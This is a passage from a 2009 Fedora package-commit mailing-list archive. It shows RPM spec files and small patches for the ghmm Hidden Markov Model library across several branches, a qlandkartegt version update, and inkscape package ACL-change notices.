+      echo -n " -L${prefix}/lib -lghmm @LIBS@"
       ;;
     --lib-prefix)
       echo ${prefix}/lib
@@ -75,3 +75,5 @@
   shift
 done
 
+echo
+

ghmm-make-check.patch:
 Makefile.am |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE ghmm-make-check.patch ---
--- ghmmwrapper/Makefile.am	2009-08-23 11:54:16.000000000 +1000
+++ ghmmwrapper/Makefile.am.new	2009-08-23 11:54:36.000000000 +1000
@@ -51,7 +51,6 @@
                  testdata/multiple_hmmer.hmm \
                  testdata/tiny.smo \
                  testdata/xml_cont_multiple.xml \
-                 testdata/es_discrete_testwrite.seq \
                  testdata/test10.sqd \
                  testdata/test2.xml \
                  testdata/model_label.xml \


--- NEW FILE ghmm.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

%define svnver 2286

#Need to fix this package. The latest spec is in koji...
# http://koji.fedoraproject.org/koji/taskinfo?taskID=1672945

#Upstream has been notified of exit() calls.
#https://sourceforge.net/tracker/?func=detail&aid=2842844&group_id=67094&atid=516866
#Upstream has been notified of licencing issues
#https://sourceforge.net/tracker/?func=detail&aid=2842854&group_id=67094&atid=516866
#Upstream has been notfied of unit test problems
#https://sourceforge.net/tracker/?func=detail&aid=2842847&group_id=67094&atid=516867

Name:           ghmm
Version:        0.7
Release:        4.svn%{svnver}%{?dist}
Summary:        A library with data structures and algorithms for Hidden Markov Models
Group:          Development/Libraries
License:        LGPLv2+
URL:            http://ghmm.sourceforge.net/

# The source for this package was pulled from upstream's vcs. Use the
# following commands to generate the tarball: 

#   export LANG=en_US.utf8; export TZ=+0000; 
#   svn export -r2286 https://ghmm.svn.sourceforge.net/svnroot/ghmm/trunk/ghmm ghmm
#   tar -cjf ghmm.tar.bz2 ghmm/

# MD5 sum should be : 24d1829f2562d04115b7f028e0399f0f ghmm.tar.bz2
Source0:        %{name}.tar.bz2

#Disable single broken test
Patch0:         %{name}-make-check.patch
#Fix ghmm-config output
Patch1:         %{name}-config.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gsl-devel
BuildRequires:  libtool
BuildRequires:  libxml2-devel
BuildRequires:  pkgconfig
BuildRequires:  python-devel
BuildRequires:  swig
BuildRequires:  atlas-devel

Requires:       tkinter


%description
The General Hidden Markov Model library (GHMM) is a freely available
LGPL-ed C library implementing efficient data structures and algorithms
for basic and extended HMMs.

It is developed by the Algorithmics group at the Max Planck Institute
for Molecular Genetics.

Features:
  * Discrete and continuous emissions
  * Mixtures of PDFs for continuous emissions
  * Non-homogenous Markov chains
  * Pair HMMs (contributed by Genoscope)
  * Clustering and mixture modelling for HMMs
  * Graphical Editor HMMEd
  * Python bindings
  * XML-based file format


%package        static
Summary:        Static libraries for %{name}
Group:          Development/Libraries
Requires:       %{name}-devel = %{version}-%{release}


%description    static
Static libraries for developing with %{name}.


%package        devel
Summary:        Development headers and libraries for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for developing with %{name}.


%prep
%setup -q -n %{name}
sed -i \
  -e 's|$(PYTHON) setup.py install.*$|$(PYTHON) setup.py install -O1 --skip-build --root ${RPM_BUILD_ROOT}|' \
  ghmmwrapper/Makefile.am HMMEd/Makefile.am
sed -i -e '1,1d' \
  ghmmwrapper/ghmm_gato/{xmlutil,HMMEd,EditObjectAttributesDialog}.py \
  ghmmwrapper/ghmm.py HMMEd/{HMMEditor,ObjectHMM,HMMEditingContext}.py
find . -type f -name '*.c' | xargs chmod -x
find . -type f -name '*.h' | xargs chmod -x
find . -type f -name '*.txt' | xargs chmod -x

#convert to UTF-8
chmod 644 AUTHORS
for i in AUTHORS
do
    iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
    touch -r $i $i.new && \
    mv $i.new $i
done
\
%patch0
%patch1

%build
# Docs aren't build because Fedora doesn't have doc++
./autogen.sh
export CFLAGS="${CFLAGS} -I/usr/include/atlas"
%configure --enable-gsl --enable-experimental --enable-unsupported --enable-atlas
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
pushd $RPM_BUILD_ROOT%{_bindir}
  for bin in cluster probdist scluster smix_hmm smo2xml; do
    mv ${bin} %{name}-${bin}
  done
popd


%check
pushd ghmmwrapper
# Currently their unit tests fail. 
#  make check
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYRIGHT.txt LGPL.txt AUTHORS
%if "%{python_sitearch}" != "%{python_sitelib}"
%{python_sitearch}/*
%endif
%{python_sitelib}/*
%{_libdir}/lib%{name}.so.*
%{_bindir}/HMMEd
%{_bindir}/%{name}-*
%exclude %{_bindir}/%{name}-config
%{_datadir}/%{name}


%files static
%defattr(-,root,root,-)
%{_libdir}/lib%{name}.a


%files devel
%defattr(-,root,root,-)
%{_includedir}/ghmm
%{_libdir}/lib%{name}.so
%{_bindir}/%{name}-config


%changelog
* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-4.svn2286
- Modify CFLAGS again
- Fix permissions on AUTHORS file

* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-3.svn2286
- Enabled atlas build
- Use CFLAGS export

* Sat Oct 10 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-2.svn2286
- Remove GSL Requires (should be found by RPM)
- Patched non-executing make check, but test results indicate a few fails. Upstream notified
- Fixed -config script output via patch

* Sat Mar 21 2009 Conrad Meyer <konrad at tylerc.org> - 0.7-1.svn2251
- Initial package.


--- NEW FILE import.log ---
ghmm-0_7-4_svn2286_fc10:EL-5:ghmm-0.7-4.svn2286.fc10.src.rpm:1256809104


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:12:32 -0000	1.1
+++ .cvsignore	29 Oct 2009 09:38:02 -0000	1.2
@@ -0,0 +1 @@
+ghmm.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:12:34 -0000	1.1
+++ sources	29 Oct 2009 09:38:02 -0000	1.2
@@ -0,0 +1 @@
+24d1829f2562d04115b7f028e0399f0f  ghmm.tar.bz2



From mycae at fedoraproject.org  Thu Oct 29 09:40:29 2009
From: mycae at fedoraproject.org (mycae)
Date: Thu, 29 Oct 2009 09:40:29 +0000 (UTC)
Subject: rpms/ghmm/F-11 ghmm-config.patch, NONE, 1.1 ghmm-make-check.patch, 
	NONE, 1.1 ghmm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029094029.EA06C11C0380@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/ghmm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22168/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	ghmm-config.patch ghmm-make-check.patch ghmm.spec import.log 
Log Message:
*Initial commmit

ghmm-config.patch:
 ghmm-config.in |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE ghmm-config.patch ---
--- tools/ghmm-config.in	2003-11-10 01:47:43.000000000 +1100
+++ tools/ghmm-config.in.new	2009-09-12 20:57:28.000000000 +1000
@@ -54,10 +54,10 @@
       echo @VERSION@
       ;;
     --cflags)
-      echo @CFLAGS@ -I${prefix}/include
+      echo -n " @CFLAGS@ -I${prefix}/include"
       ;;
     --libs)
-      echo -L${prefix}/lib -lghmm @LIBS@
+      echo -n " -L${prefix}/lib -lghmm @LIBS@"
       ;;
     --lib-prefix)
       echo ${prefix}/lib
@@ -75,3 +75,5 @@
   shift
 done
 
+echo
+

ghmm-make-check.patch:
 Makefile.am |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE ghmm-make-check.patch ---
--- ghmmwrapper/Makefile.am	2009-08-23 11:54:16.000000000 +1000
+++ ghmmwrapper/Makefile.am.new	2009-08-23 11:54:36.000000000 +1000
@@ -51,7 +51,6 @@
                  testdata/multiple_hmmer.hmm \
                  testdata/tiny.smo \
                  testdata/xml_cont_multiple.xml \
-                 testdata/es_discrete_testwrite.seq \
                  testdata/test10.sqd \
                  testdata/test2.xml \
                  testdata/model_label.xml \


--- NEW FILE ghmm.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

%define svnver 2286

#Need to fix this package. The latest spec is in koji...
# http://koji.fedoraproject.org/koji/taskinfo?taskID=1672945

#Upstream has been notified of exit() calls.
#https://sourceforge.net/tracker/?func=detail&aid=2842844&group_id=67094&atid=516866
#Upstream has been notified of licencing issues
#https://sourceforge.net/tracker/?func=detail&aid=2842854&group_id=67094&atid=516866
#Upstream has been notfied of unit test problems
#https://sourceforge.net/tracker/?func=detail&aid=2842847&group_id=67094&atid=516867

Name:           ghmm
Version:        0.7
Release:        4.svn%{svnver}%{?dist}
Summary:        A library with data structures and algorithms for Hidden Markov Models
Group:          Development/Libraries
License:        LGPLv2+
URL:            http://ghmm.sourceforge.net/

# The source for this package was pulled from upstream's vcs. Use the
# following commands to generate the tarball: 

#   export LANG=en_US.utf8; export TZ=+0000; 
#   svn export -r2286 https://ghmm.svn.sourceforge.net/svnroot/ghmm/trunk/ghmm ghmm
#   tar -cjf ghmm.tar.bz2 ghmm/

# MD5 sum should be : 24d1829f2562d04115b7f028e0399f0f ghmm.tar.bz2
Source0:        %{name}.tar.bz2

#Disable single broken test
Patch0:         %{name}-make-check.patch
#Fix ghmm-config output
Patch1:         %{name}-config.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gsl-devel
BuildRequires:  libtool
BuildRequires:  libxml2-devel
BuildRequires:  pkgconfig
BuildRequires:  python-devel
BuildRequires:  swig
BuildRequires:  atlas-devel

Requires:       tkinter


%description
The General Hidden Markov Model library (GHMM) is a freely available
LGPL-ed C library implementing efficient data structures and algorithms
for basic and extended HMMs.

It is developed by the Algorithmics group at the Max Planck Institute
for Molecular Genetics.

Features:
  * Discrete and continuous emissions
  * Mixtures of PDFs for continuous emissions
  * Non-homogenous Markov chains
  * Pair HMMs (contributed by Genoscope)
  * Clustering and mixture modelling for HMMs
  * Graphical Editor HMMEd
  * Python bindings
  * XML-based file format


%package        static
Summary:        Static libraries for %{name}
Group:          Development/Libraries
Requires:       %{name}-devel = %{version}-%{release}


%description    static
Static libraries for developing with %{name}.


%package        devel
Summary:        Development headers and libraries for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for developing with %{name}.


%prep
%setup -q -n %{name}
sed -i \
  -e 's|$(PYTHON) setup.py install.*$|$(PYTHON) setup.py install -O1 --skip-build --root ${RPM_BUILD_ROOT}|' \
  ghmmwrapper/Makefile.am HMMEd/Makefile.am
sed -i -e '1,1d' \
  ghmmwrapper/ghmm_gato/{xmlutil,HMMEd,EditObjectAttributesDialog}.py \
  ghmmwrapper/ghmm.py HMMEd/{HMMEditor,ObjectHMM,HMMEditingContext}.py
find . -type f -name '*.c' | xargs chmod -x
find . -type f -name '*.h' | xargs chmod -x
find . -type f -name '*.txt' | xargs chmod -x

#convert to UTF-8
chmod 644 AUTHORS
for i in AUTHORS
do
    iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
    touch -r $i $i.new && \
    mv $i.new $i
done
\
%patch0
%patch1

%build
# Docs aren't build because Fedora doesn't have doc++
./autogen.sh
export CFLAGS="${CFLAGS} -I/usr/include/atlas"
%configure --enable-gsl --enable-experimental --enable-unsupported --enable-atlas
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
pushd $RPM_BUILD_ROOT%{_bindir}
  for bin in cluster probdist scluster smix_hmm smo2xml; do
    mv ${bin} %{name}-${bin}
  done
popd


%check
pushd ghmmwrapper
# Currently their unit tests fail. 
#  make check
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYRIGHT.txt LGPL.txt AUTHORS
%if "%{python_sitearch}" != "%{python_sitelib}"
%{python_sitearch}/*
%endif
%{python_sitelib}/*
%{_libdir}/lib%{name}.so.*
%{_bindir}/HMMEd
%{_bindir}/%{name}-*
%exclude %{_bindir}/%{name}-config
%{_datadir}/%{name}


%files static
%defattr(-,root,root,-)
%{_libdir}/lib%{name}.a


%files devel
%defattr(-,root,root,-)
%{_includedir}/ghmm
%{_libdir}/lib%{name}.so
%{_bindir}/%{name}-config


%changelog
* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-4.svn2286
- Modify CFLAGS again
- Fix permissions on AUTHORS file

* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-3.svn2286
- Enabled atlas build
- Use CFLAGS export

* Sat Oct 10 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-2.svn2286
- Remove GSL Requires (should be found by RPM)
- Patched non-executing make check, but test results indicate a few fails. Upstream notified
- Fixed -config script output via patch

* Sat Mar 21 2009 Conrad Meyer <konrad at tylerc.org> - 0.7-1.svn2251
- Initial package.


--- NEW FILE import.log ---
ghmm-0_7-4_svn2286_fc10:F-11:ghmm-0.7-4.svn2286.fc10.src.rpm:1256809203


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:12:32 -0000	1.1
+++ .cvsignore	29 Oct 2009 09:40:29 -0000	1.2
@@ -0,0 +1 @@
+ghmm.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:12:34 -0000	1.1
+++ sources	29 Oct 2009 09:40:29 -0000	1.2
@@ -0,0 +1 @@
+24d1829f2562d04115b7f028e0399f0f  ghmm.tar.bz2



From mycae at fedoraproject.org  Thu Oct 29 09:42:09 2009
From: mycae at fedoraproject.org (mycae)
Date: Thu, 29 Oct 2009 09:42:09 +0000 (UTC)
Subject: rpms/ghmm/F-12 ghmm-config.patch, NONE, 1.1 ghmm-make-check.patch, 
	NONE, 1.1 ghmm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029094209.C9ECB11C008B@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/ghmm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22798/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	ghmm-config.patch ghmm-make-check.patch ghmm.spec import.log 
Log Message:
*Initial commmit

ghmm-config.patch:
 ghmm-config.in |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE ghmm-config.patch ---
--- tools/ghmm-config.in	2003-11-10 01:47:43.000000000 +1100
+++ tools/ghmm-config.in.new	2009-09-12 20:57:28.000000000 +1000
@@ -54,10 +54,10 @@
       echo @VERSION@
       ;;
     --cflags)
-      echo @CFLAGS@ -I${prefix}/include
+      echo -n " @CFLAGS@ -I${prefix}/include"
       ;;
     --libs)
-      echo -L${prefix}/lib -lghmm @LIBS@
+      echo -n " -L${prefix}/lib -lghmm @LIBS@"
       ;;
     --lib-prefix)
       echo ${prefix}/lib
@@ -75,3 +75,5 @@
   shift
 done
 
+echo
+

ghmm-make-check.patch:
 Makefile.am |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE ghmm-make-check.patch ---
--- ghmmwrapper/Makefile.am	2009-08-23 11:54:16.000000000 +1000
+++ ghmmwrapper/Makefile.am.new	2009-08-23 11:54:36.000000000 +1000
@@ -51,7 +51,6 @@
                  testdata/multiple_hmmer.hmm \
                  testdata/tiny.smo \
                  testdata/xml_cont_multiple.xml \
-                 testdata/es_discrete_testwrite.seq \
                  testdata/test10.sqd \
                  testdata/test2.xml \
                  testdata/model_label.xml \


--- NEW FILE ghmm.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

%define svnver 2286

#Need to fix this package. The latest spec is in koji...
# http://koji.fedoraproject.org/koji/taskinfo?taskID=1672945

#Upstream has been notified of exit() calls.
#https://sourceforge.net/tracker/?func=detail&aid=2842844&group_id=67094&atid=516866
#Upstream has been notified of licencing issues
#https://sourceforge.net/tracker/?func=detail&aid=2842854&group_id=67094&atid=516866
#Upstream has been notfied of unit test problems
#https://sourceforge.net/tracker/?func=detail&aid=2842847&group_id=67094&atid=516867

Name:           ghmm
Version:        0.7
Release:        4.svn%{svnver}%{?dist}
Summary:        A library with data structures and algorithms for Hidden Markov Models
Group:          Development/Libraries
License:        LGPLv2+
URL:            http://ghmm.sourceforge.net/

# The source for this package was pulled from upstream's vcs. Use the
# following commands to generate the tarball: 

#   export LANG=en_US.utf8; export TZ=+0000; 
#   svn export -r2286 https://ghmm.svn.sourceforge.net/svnroot/ghmm/trunk/ghmm ghmm
#   tar -cjf ghmm.tar.bz2 ghmm/

# MD5 sum should be : 24d1829f2562d04115b7f028e0399f0f ghmm.tar.bz2
Source0:        %{name}.tar.bz2

#Disable single broken test
Patch0:         %{name}-make-check.patch
#Fix ghmm-config output
Patch1:         %{name}-config.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gsl-devel
BuildRequires:  libtool
BuildRequires:  libxml2-devel
BuildRequires:  pkgconfig
BuildRequires:  python-devel
BuildRequires:  swig
BuildRequires:  atlas-devel

Requires:       tkinter


%description
The General Hidden Markov Model library (GHMM) is a freely available
LGPL-ed C library implementing efficient data structures and algorithms
for basic and extended HMMs.

It is developed by the Algorithmics group at the Max Planck Institute
for Molecular Genetics.

Features:
  * Discrete and continuous emissions
  * Mixtures of PDFs for continuous emissions
  * Non-homogenous Markov chains
  * Pair HMMs (contributed by Genoscope)
  * Clustering and mixture modelling for HMMs
  * Graphical Editor HMMEd
  * Python bindings
  * XML-based file format


%package        static
Summary:        Static libraries for %{name}
Group:          Development/Libraries
Requires:       %{name}-devel = %{version}-%{release}


%description    static
Static libraries for developing with %{name}.


%package        devel
Summary:        Development headers and libraries for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for developing with %{name}.


%prep
%setup -q -n %{name}
sed -i \
  -e 's|$(PYTHON) setup.py install.*$|$(PYTHON) setup.py install -O1 --skip-build --root ${RPM_BUILD_ROOT}|' \
  ghmmwrapper/Makefile.am HMMEd/Makefile.am
sed -i -e '1,1d' \
  ghmmwrapper/ghmm_gato/{xmlutil,HMMEd,EditObjectAttributesDialog}.py \
  ghmmwrapper/ghmm.py HMMEd/{HMMEditor,ObjectHMM,HMMEditingContext}.py
find . -type f -name '*.c' | xargs chmod -x
find . -type f -name '*.h' | xargs chmod -x
find . -type f -name '*.txt' | xargs chmod -x

#convert to UTF-8
chmod 644 AUTHORS
for i in AUTHORS
do
    iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
    touch -r $i $i.new && \
    mv $i.new $i
done
\
%patch0
%patch1

%build
# Docs aren't build because Fedora doesn't have doc++
./autogen.sh
export CFLAGS="${CFLAGS} -I/usr/include/atlas"
%configure --enable-gsl --enable-experimental --enable-unsupported --enable-atlas
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
pushd $RPM_BUILD_ROOT%{_bindir}
  for bin in cluster probdist scluster smix_hmm smo2xml; do
    mv ${bin} %{name}-${bin}
  done
popd


%check
pushd ghmmwrapper
# Currently their unit tests fail. 
#  make check
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYRIGHT.txt LGPL.txt AUTHORS
%if "%{python_sitearch}" != "%{python_sitelib}"
%{python_sitearch}/*
%endif
%{python_sitelib}/*
%{_libdir}/lib%{name}.so.*
%{_bindir}/HMMEd
%{_bindir}/%{name}-*
%exclude %{_bindir}/%{name}-config
%{_datadir}/%{name}


%files static
%defattr(-,root,root,-)
%{_libdir}/lib%{name}.a


%files devel
%defattr(-,root,root,-)
%{_includedir}/ghmm
%{_libdir}/lib%{name}.so
%{_bindir}/%{name}-config


%changelog
* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-4.svn2286
- Modify CFLAGS again
- Fix permissions on AUTHORS file

* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-3.svn2286
- Enabled atlas build
- Use CFLAGS export

* Sat Oct 10 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-2.svn2286
- Remove GSL Requires (should be found by RPM)
- Patched non-executing make check, but test results indicate a few fails. Upstream notified
- Fixed -config script output via patch

* Sat Mar 21 2009 Conrad Meyer <konrad at tylerc.org> - 0.7-1.svn2251
- Initial package.


--- NEW FILE import.log ---
ghmm-0_7-4_svn2286_fc10:F-12:ghmm-0.7-4.svn2286.fc10.src.rpm:1256809347


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:12:32 -0000	1.1
+++ .cvsignore	29 Oct 2009 09:42:09 -0000	1.2
@@ -0,0 +1 @@
+ghmm.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:12:34 -0000	1.1
+++ sources	29 Oct 2009 09:42:09 -0000	1.2
@@ -0,0 +1 @@
+24d1829f2562d04115b7f028e0399f0f  ghmm.tar.bz2



From sharkcz at fedoraproject.org  Thu Oct 29 10:03:49 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu, 29 Oct 2009 10:03:49 +0000 (UTC)
Subject: rpms/qlandkartegt/F-12 qlandkartegt-0.16.0-nogtkstyle.patch, NONE, 
	1.1 .cvsignore, 1.11, 1.12 qlandkartegt.spec, 1.12, 1.13 sources,
	1.11, 1.12 qlandkartegt-0.14.1-nogtkstyle.patch, 1.1, NONE
Message-ID: <20091029100349.877AE11C008B@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/qlandkartegt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28670

Modified Files:
	.cvsignore qlandkartegt.spec sources 
Added Files:
	qlandkartegt-0.16.0-nogtkstyle.patch 
Removed Files:
	qlandkartegt-0.14.1-nogtkstyle.patch 
Log Message:
* Tue Oct 27 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
- update to 0.16.0


qlandkartegt-0.16.0-nogtkstyle.patch:
 main.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE qlandkartegt-0.16.0-nogtkstyle.patch ---
diff -Nrup qlandkartegt-0.16.0.orig/src/main.cpp qlandkartegt-0.16.0/src/main.cpp
--- qlandkartegt-0.16.0.orig/src/main.cpp	2009-10-26 22:19:47.000000000 +0100
+++ qlandkartegt-0.16.0/src/main.cpp	2009-10-27 09:40:14.000000000 +0100
@@ -61,6 +61,7 @@ int main(int argc, char ** argv)
 #ifndef WIN32
     setenv("LC_NUMERIC","C",1);
 #endif
+    QApplication::setStyle("cleanlooks");
     QApplication theApp(argc,argv);
 
 #ifdef ENABLE_TRANSLATION


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	19 Sep 2009 08:50:47 -0000	1.11
+++ .cvsignore	29 Oct 2009 10:03:49 -0000	1.12
@@ -1 +1 @@
-qlandkartegt-0.15.1.tar.gz
+qlandkartegt-0.16.0.tar.gz


Index: qlandkartegt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-12/qlandkartegt.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- qlandkartegt.spec	19 Sep 2009 08:50:48 -0000	1.12
+++ qlandkartegt.spec	29 Oct 2009 10:03:49 -0000	1.13
@@ -1,5 +1,5 @@
 Name: qlandkartegt
-Version: 0.15.1
+Version: 0.16.0
 Release: 1%{?dist}
 Summary: GPS device mapping tool
 
@@ -8,7 +8,7 @@ License: GPLv2+
 URL: http://www.qlandkarte.org/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 # temporary fix until http://bugzilla.redhat.com/show_bug.cgi?id=498111 is resolved
-Patch0: %{name}-0.14.1-nogtkstyle.patch
+Patch0: %{name}-0.16.0-nogtkstyle.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: garmindev(interface) = 1.16
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 27 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
+- update to 0.16.0
+
 * Sat Sep 19 2009 Dan Hor?k <dan[at]danny.cz> 0.15.1-1
 - update to 0.15.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	19 Sep 2009 08:50:48 -0000	1.11
+++ sources	29 Oct 2009 10:03:49 -0000	1.12
@@ -1 +1 @@
-da0a44b980280a5c7c006f64363b8f67  qlandkartegt-0.15.1.tar.gz
+9af694894fe74c3f64971fcfc4055bbf  qlandkartegt-0.16.0.tar.gz


--- qlandkartegt-0.14.1-nogtkstyle.patch DELETED ---



From pkgdb at fedoraproject.org  Thu Oct 29 10:04:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:04:48 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100448.C3A7610F87E@bastion2.fedora.phx.redhat.com>

lkundrak has set the watchbugzilla acl on inkscape (Fedora devel) to Approved for duffy

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:04:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:04:49 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100449.4574610F88B@bastion2.fedora.phx.redhat.com>

lkundrak has set the watchcommits acl on inkscape (Fedora devel) to Approved for duffy

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:04:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:04:50 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100450.E382410F89C@bastion2.fedora.phx.redhat.com>

lkundrak has set the commit acl on inkscape (Fedora devel) to Approved for duffy

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:04:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:04:52 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100452.C04EB10F8A2@bastion2.fedora.phx.redhat.com>

lkundrak has set the approveacls acl on inkscape (Fedora devel) to Approved for duffy

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:04:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:04:57 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100457.9EB6E10F87E@bastion2.fedora.phx.redhat.com>

lkundrak has set the approveacls acl on inkscape (Fedora devel) to Approved for wtogami

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:04:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:04:58 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100459.2F1FB10F8A3@bastion2.fedora.phx.redhat.com>

lkundrak has set the commit acl on inkscape (Fedora devel) to Approved for wtogami

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:05:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:05:00 +0000
